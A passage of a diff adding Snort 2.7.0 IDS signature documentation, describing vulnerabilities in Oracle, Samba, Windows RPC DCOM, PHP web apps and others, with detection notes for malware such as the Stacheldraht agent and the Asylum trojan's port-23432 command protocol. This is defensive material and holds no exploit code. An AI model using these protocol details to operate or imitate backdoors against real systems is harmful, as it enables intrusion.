+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_object_to_flavor
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3026.txt
+++ snort-2.7.0/doc/signatures/3026.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3026
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1584.txt
+++ snort-2.7.0/doc/signatures/1584.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1584
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/943.txt
+++ snort-2.7.0/doc/signatures/943.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+943
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+In this case an attempt is being made to access the executable file
+fpsvradm.exe from resources external to the protected network.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/resources/documentation/office/2000/all/reskit/en-us/75t4_3.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/100000744.txt
+++ snort-2.7.0/doc/signatures/100000744.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000744
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "MyNewsGroups" application running on a webserver. Access to the file "tree.php" with SQL commands being passed as the "grp_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "grp_id" parameter in the "tree.php" script used by the "MyNewsGroups" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MyNewsGroups
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/586.txt
+++ snort-2.7.0/doc/signatures/586.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+586
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) selection_svc is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port selection_svc is using.  Attackers can also learn what versions of the selection_svc protocol are accepted by selection_svc.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as selection_svc run.  The selection_svc RPC service is used by SunView, an old windowing system from Sun.  A vulnerability exists in selection_svc that allows a remote user to read files that are readable by SunView. 
+
+--
+Affected Systems:
+Sun SunOS 3.5
+Sun SunOS 4.0
+Sun SunOS 4.0.1
+Sun SunOS 4.0.2
+Sun SunOS 4.0.3
+Sun SunOS 4.1
+Sun SunOS 4.1.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where selection_svc runs.  This may be a precursor to accessing selection_svc.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access selection_svc, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for selection_svc, not probes of the selection_svc service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the selection_svc service itself. An attacker may attempt to go directly to the selection_svc port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/8
+
+CERT
+http://www.cert.org/advisories/CA-1990-05.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS25
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000620.txt
+++ snort-2.7.0/doc/signatures/100000620.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000620
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_view.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_view.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/229.txt
+++ snort-2.7.0/doc/signatures/229.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+229
+
+--
+Summary:
+This event is generated when a Stacheldraht agent attempts to contact a known handler.
+
+--
+Impact:
+This indicates that a Stacheldraht agent may exist on the source host and a handler may exist on the destination host.
+
+--
+Detailed Information:
+The Stacheldraht DDoS uses a tiered structure of compromised hosts to coordinate and participate in a denial of service attack.  
+
+There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  Once a host becomes a Stacheldraht agent, it will attempt to contact a list of known handlers using an ICMP echo reply with an ICMP identification number of 666 and a string of "skillz" in the payload. 
+
+--
+Affected Systems:
+Any Stacheldraht compromised host.
+
+--
+Attack Scenarios:
+A compromised host that has become a Stacheldraht agent will attempt an initial communication with all known handlers.
+
+--
+Ease of Attack:
+Simple. Stacheldraht code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS190
+
+--
--- snort-2.7.0.orig/doc/signatures/3013.txt
+++ snort-2.7.0/doc/signatures/3013.txt
@@ -0,0 +1,85 @@
+Rule: 
+
+--
+Sid: 
+3013
+-- 
+Summary: 
+This event is generated when an attacker attempts to connect to the
+victim using the Asylum 0.1 trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to the
+system, enabling him to upload and execute files on the computer and
+reboot it at will, resulting in a full compromise of the victim's computer. 
+
+--
+Detailed Information:
+When executed, Asylum 0.1 opens up its assigned port (default is 23432)
+for communication with the attacker. Asylum 0.1 has four functions:
+Upload File, Open File, Reboot Computer, and Remove Server. 
+
+Upload File: Look for traffic on port 23432 containing UPL followed by a file location.
+Open File: Look for traffic on port 23432 containing RUN followed by a file location.
+Reboot: Look for the string "RBT" on port 23432.
+Remove Server: Look for the string "DIE" on port 23432.
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files
+because they often can be backdoors in disguise. Once the victim
+mistakenly installs the server program, the attacker usually will employ
+an IP scanner program to find the IP addresses of victims that have
+installed the program. Then the attacker enters the IP address, port
+number (which  is assigned to the server program by the attacker:
+default is 23432), and presses the connect button and he has access to
+the computer.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action:
+
+Delete the System Administration key (if found) in 
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run or
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices or
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
+
+Open the system.ini and (if found) replace shell=Explore.exe win32cmp.exe to shell=explore.exe
+
+Open the win.ini and (if found) delete load=c:\windows\wincmp32.exe or run=c:\windows\wincmp32.exe
+
+Find and delete the Asylum 0.1 trojan server file, usually called wincmp32.exe.
+
+Keep anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com>
+
+-- 
+Additional References:
+
+PestPatrol:
+http://www.pestpatrol.com/PestInfo/A/Asylum.asp
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/asylum/01/index.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/1990.txt
+++ snort-2.7.0/doc/signatures/1990.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1990
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/1992.txt
+++ snort-2.7.0/doc/signatures/1992.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+1992
+
+--
+Summary:
+This event is generated when an attempt is made to list directories outside the ftp root directory.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can lead to information disclosure and possible exposure of sensitive system information.
+
+--
+Detailed Information:
+Some versions of the QVT FTP server from QPC Software allows browsing the directory structure of a host using a directory traversal technique.
+
+--
+Affected Systems:
+QPC Software QVT/Net 4.0 for Windows NT, 2000 and 9x
+QPC Software QVT/Term 5.0 for Windows NT, 2000 and 9x
+Other FTP servers may be vulnerable
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal technique, to browse folders outside the ftp root directory. Information gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1641.txt
+++ snort-2.7.0/doc/signatures/1641.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1641
+
+--
+Summary:
+This event is generated when potential Denial of Service (DoS) traffic is detected on the network. 
+
+--
+Impact:
+Serious. A DoS attack may be underway.
+
+--
+Detailed Information:
+This event indicates that DoS traffic has been detected. An attempt to exhaust resources on a host may be underway leading to the host being unavailable for legitimate use.
+
+--
+Attack Scenarios:
+An attacker may attempt to exhaust resources available on a host leading to the host being unable to respond to legitimate requests.
+
+--
+Ease of Attack:
+Simple to Difficult.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2378.txt
+++ snort-2.7.0/doc/signatures/2378.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2378
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000670.txt
+++ snort-2.7.0/doc/signatures/100000670.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000670
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "web_statsConfig.php" using a remote file being passed as 
+the "mod_dir" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "mod_dir" parameter in the "web_statsConfig.php" script 
+used by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000113.txt
+++ snort-2.7.0/doc/signatures/100000113.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000113
+
+-- 
+Summary: 
+This event is generated when an attacker attempts to execute arbitrary commands 
+on a system running the HappyMall E-Commerce suite.
+
+-- 
+
+Impact: 
+Attackers may run arbitrary commands of their choosing with the permissions of 
+the affected script.
+
+--
+Detailed Information:
+By specifying a value for the "file" parameter of the "member_html.cgi" script 
+that is enclosed by any combination of pipe or semicolon characters, attackers 
+may execute arbitrary commands on the host system with the privileges of the 
+affected script.
+
+--
+Affected Systems:
+HappyCGI HappyMall 4.3
+HappyCGI HappyMall 4.4
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited using a web browser, or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as a web browser or publicly available exploits may be used.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+An unconfirmed patch is available at the URI listed in the Additional 
+References section.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://happymall.happycgi.com/forum/forum_detail.cgi?thread=353
+
+--
--- snort-2.7.0.orig/doc/signatures/3269.txt
+++ snort-2.7.0/doc/signatures/3269.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3269
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2965.txt
+++ snort-2.7.0/doc/signatures/2965.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2965
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/2643.txt
+++ snort-2.7.0/doc/signatures/2643.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2643
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "ensure_not_published" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "fname" variable to
+cause the overflow. The result could permit the attacker to gain
+escalated privileges and run code of their choosing. This attack
+requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck96.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000724.txt
+++ snort-2.7.0/doc/signatures/100000724.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000724
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "profile.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "profile.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2584.txt
+++ snort-2.7.0/doc/signatures/2584.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1102
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the peer to peer (p2p) client eMule.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the p2p application eMule. The eMule client is prone to
+a buffer overflow condition which may present an attacker with the
+opportunity to execute code of their choosing on a vulnerable host.
+
+The issue surrounds the IRC module and the Web server portions of the
+client. Sufficient bounds checking of user supplied data is not
+correctly implemented causing the opportunity to overflow a buffer.
+
+--
+Affected Systems:
+	All systems using eMule.
+
+--
+Attack Scenarios:
